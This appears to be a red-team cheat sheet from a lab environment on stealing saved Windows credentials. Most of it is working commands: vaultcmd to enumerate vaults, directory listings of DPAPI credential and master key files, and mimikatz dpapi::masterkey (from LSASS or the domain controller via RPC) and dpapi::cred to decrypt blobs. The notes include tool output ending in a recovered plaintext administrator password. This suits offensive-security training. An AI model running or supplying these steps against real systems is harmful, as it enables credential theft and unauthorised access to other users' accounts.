Credential Manager

Enumerate vaults

Methods below sometimes don't show all present credential files, check manually

dir C:\\users\\USERNAME\\AppData\\local\\Microsoft\\Credentials

vaultcmd /list

Vault: Windows Credentials

vaultcmd /listcreds:"Windows Credentials" /all

Identity: SQL-2\Administrator

Based on this, we now know that the user has saved credentials for the local administrator account on SQL-2.

Retrieve encrypted credentials

ls C:\Users\bfarmer\AppData\Local\Microsoft\Credentials

468b     fil     09/06/2022 10:34:22   6C33AC85D0C4DCEAB186B3B2E5B1AC7C
10kb     fil     08/30/2022 08:42:59   DFBE70A7E5CC19A398EBF1B96859CE5D

Master keys are stored here:

ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\
ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104

Grab Master Key (using LSASS)

(local admin required + user recently accessed the cred)

GUID      :	{bfc5090d-22fe-4058-8953-47f6882f549e}
Time      :	1/20/2023 3:03:35 PM
MasterKey :	8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
sha1(key) :	897f7bf129e6a898ff4e20e9789009d5385be1f3

Grab Master Key (using AD)

(no local admin required)

mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc

[domainkey] with RPC [DC] 'dev.cyberbotic.io' will be the domain [DC] 'dc-2.dev.cyberbotic.io' will be the DC server key : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214 sha1: 897f7bf129e6a898ff4e20e9789009d5385be1f3

This will only work if executed in the context of the user who owns the key. If SYSTEM/other user, must impersonate the target user first, then execute the command using the @ modifier.

Decrypt blob

mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\6C33AC85D0C4DCEAB186B3B2E5B1AC7C /masterkey:8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214

UserName       : SQL-2\Administrator
CredentialBlob : wIfY&cZ&d?QP9iMFEzckmj.34=@sg.*i